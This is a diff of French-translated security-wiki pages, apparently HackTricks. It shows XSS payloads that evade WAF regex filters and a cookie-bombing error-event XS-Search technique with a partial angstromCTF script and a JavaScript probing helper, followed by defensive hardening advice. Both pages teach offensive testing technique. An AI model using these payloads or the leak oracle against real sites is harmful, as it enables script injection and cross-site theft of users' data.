Différentes techniques peuvent être utilisées pour contourner les filtres regex sur les pare-feu. Les exemples incluent l'alternance de casse, l'ajout de sauts de ligne et l'encodage des charges utiles. Des ressources pour les divers contournements peuvent être trouvées sur [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) et [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Les exemples ci-dessous ont été extraits de [cet article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
Différentes techniques peuvent être utilisées pour bypasser les filtres regex sur les firewalls. Les exemples incluent l'alternance de casse, l'ajout de sauts de ligne et l'encodage des payloads. Des ressources sur les différents contournements se trouvent sur [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) et [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Les exemples ci-dessous ont été extraits de [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
@ -219,7 +220,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
```
## Outils
- [**nowafpls**](https://github.com/assetnote/nowafpls): Plugin Burp pour ajouter des données inutiles aux requêtes afin de contourner les WAF par la longueur
- [**nowafpls**](https://github.com/assetnote/nowafpls): Plugin Burp pour ajouter des données inutiles aux requêtes afin de contourner les WAFs en jouant sur la longueur
## Références
@ -227,7 +228,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
- [Comment j'ai trouvé une prise de contrôle de compte 0-Click dans un BBP public et l'ai exploitée pour accéder à des fonctionnalités de niveau Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,7 +2,24 @@
{{#include ../../banners/hacktricks-training.md}}
Le **script** suivant pris [**ici**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) exploite une fonctionnalité qui permet à l'utilisateur de **insérer n'importe quelle quantité de cookies**, puis de charger un fichier en tant que script en sachant que la véritable réponse sera plus grande que la fausse et ensuite. Si cela réussit, la réponse est une redirection avec une URL résultante plus longue, **trop grande pour être gérée par le serveur, donc renvoie un code d'état http d'erreur**. Si la recherche échoue, rien ne se passera car l'URL est courte.
Cette technique combine :
- Cookie bombing: remplir le navigateur de la victime avec de nombreux/volumineux cookies pour l'origine cible afin que les requêtes suivantes atteignent les limites du serveur/de la requête (taille des en-têtes de requête, taille de l'URL dans les redirections, etc.).
- Error-event oracle: sondant un endpoint cross-origin avec un <script> (ou une autre sous-ressource) et distinguant les états via onload vs onerror.
Idée générale
- Trouvez un endpoint cible dont le comportement diffère selon deux états que vous voulez tester (p. ex., recherche “hit” vs “miss”).
- Assurez-vous que le chemin “hit” déclenchera une lourde chaîne de redirections ou une URL longue tandis que le chemin “miss” reste court. Gonflez les en-têtes de requête en ajoutant de nombreux cookies pour que seul le chemin “hit” fasse dépasser une limite côté serveur et retourne une erreur HTTP (p.ex., 431/414/400). L'erreur inverse l'événement onerror et devient un oracle pour XS-Search.
Quand cela fonctionne
- Vous pouvez amener le navigateur de la victime à envoyer des cookies vers la cible (p.ex., les cookies sont SameSite=None ou vous pouvez les définir en contexte first-party via un popup window.open).
- Il existe une fonctionnalité de l'application que vous pouvez abuser pour définir des cookies arbitraires (p.ex., des endpoints “save preference” qui transforment des noms/valeurs contrôlés en Set-Cookie) ou pour effectuer des redirections post-auth qui incorporent des données contrôlées par l'attaquant dans l'URL.
- Le serveur réagit différemment selon les deux états et, avec des en-têtes/URL gonflés, un état dépasse une limite et renvoie une réponse d'erreur qui déclenche onerror.
Remarque sur les erreurs serveur utilisées comme oracle
- 431 Request Header Fields Too Large est couramment renvoyé lorsque les cookies gonflent les en-têtes de requête ; 414 URI Too Long ou un 400 spécifique au serveur peuvent être renvoyés pour des cibles de requête longues. Chacun de ces cas entraîne un échec du chargement de la sous-ressource et déclenche onerror. [MDN documents 431 and typical causes like excessive cookies.]()
Exemple pratique (angstromCTF 2022)
Le script suivant (tiré d'un writeup public) abuse d'une fonctionnalité qui permet à l'attaquant d'insérer des cookies arbitraires, puis charge un endpoint de recherche cross-origin en tant que script. Quand la requête est correcte, le serveur effectue une redirection qui, combinée à la surcharge de cookies, dépasse les limites du serveur et renvoie un statut d'erreur, de sorte que script.onerror est déclenché ; sinon rien ne se passe.
```html
<>'";
<form action="https://sustenance.web.actf.co/s" method="POST">
@ -57,4 +74,53 @@ break
}
</script>
```
Pourquoi le popup (window.open) ?
- Les navigateurs modernes bloquent de plus en plus les third-party cookies. Ouvrir une top-level window vers la cible rend les cookies first-party, donc les réponses Set-Cookie de la cible seront persistées, permettant l'étape cookie-bomb même avec les restrictions sur les third-party cookies.
Generic probing helper
Si vous disposez déjà d'un moyen de définir de nombreux cookies sur l'origine cible (first-party), vous pouvez réutiliser cet oracle minimal contre n'importe quel endpoint dont le succès/échec entraîne des résultats réseau différents (status/MIME/redirect) :
```js
function probeError(url) {
return new Promise((resolve) => {
const s = document.createElement('script');
s.src = url;
s.onload = () => resolve(false); // loaded successfully
s.onerror = () => resolve(true); // failed (e.g., 4xx/5xx, wrong MIME, blocked)
document.head.appendChild(s);
});
}
```
Conseils pour construire l'oracle
- Forcez l'état “positif” à être plus lourd : enchaînez un redirect supplémentaire uniquement lorsque le prédicat est vrai, ou faites en sorte que le redirect URL reflète une entrée utilisateur non bornée afin qu'elle croisse avec le préfixe deviné.
- Gonflez les en-têtes : répétez le cookie bombing jusqu'à observer une erreur cohérente sur le chemin “lourd”. Les serveurs plafonnent couramment la taille des en-têtes et échoueront plus tôt lorsque de nombreux cookies sont présents.
- Stabilisez : lancez plusieurs opérations de Set-Cookie en parallèle et sondez de manière répétée pour lisser le bruit lié au timing et au cache.
Astuces XS-Search associées
- Des oracles basés sur la longueur de l'URL (pas de cookies nécessaires) peuvent être combinés ou utilisés à la place lorsque vous pouvez forcer une cible de requête très longue :
{{#ref}}
url-max-length-client-side.md
{{#endref}}
Défenses et durcissement
- Rendre les réponses succès/échec indistinguables :
- Évitez les conditional redirects ou de grandes différences de taille de réponse entre les états. Retournez le même statut, le même type de contenu et une longueur de corps similaire quel que soit l'état.
- Bloquer les sondages de sous-ressources cross-site :
- SameSite cookies : définir les cookies sensibles sur SameSite=Lax ou Strict pour que les requêtes de sous-ressource comme <script src> ne les transportent pas ; préférer Strict pour les auth tokens quand c'est possible.
- Fetch Metadata : appliquer une Resource Isolation Policy pour rejeter les chargements de sous-ressources cross-site (par ex., si Sec-Fetch-Site != same-origin/same-site).
- Cross-Origin-Resource-Policy (CORP) : définir CORP: same-origin (ou au minimum same-site) pour les endpoints qui ne doivent pas être embarqués comme sous-ressources cross-origin.
- X-Content-Type-Options: nosniff et Content-Type correct sur les endpoints JSON/HTML pour éviter les bizarreries de load-as-script.
- Réduire l'amplification en-têtes/URL :
- Limiter le nombre/la taille des cookies définis ; assainir les fonctionnalités qui transforment des champs de formulaire arbitraires en Set-Cookie.
- Normaliser ou tronquer les données reflétées dans les redirects ; éviter d'embarquer de longues chaînes contrôlées par l'attaquant dans les Location URLs.
- Maintenir des limites serveur cohérentes et échouer de façon uniforme (éviter des pages d'erreur spéciales uniquement pour une branche).
Remarques
- Cette classe d'attaques est largement discutée comme “Error Events” XS-Leaks. L'étape cookie-bomb est juste un moyen pratique de pousser une seule branche au-delà des limites serveur, produisant un oracle booléen fiable.
## Références
- XS-Leaks: Error Events (onerror/onload as an oracle): https://xsleaks.dev/docs/attacks/error-events/
- MDN: 431 Request Header Fields Too Large (common with many cookies): https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431
{{#include ../../banners/hacktricks-training.md}}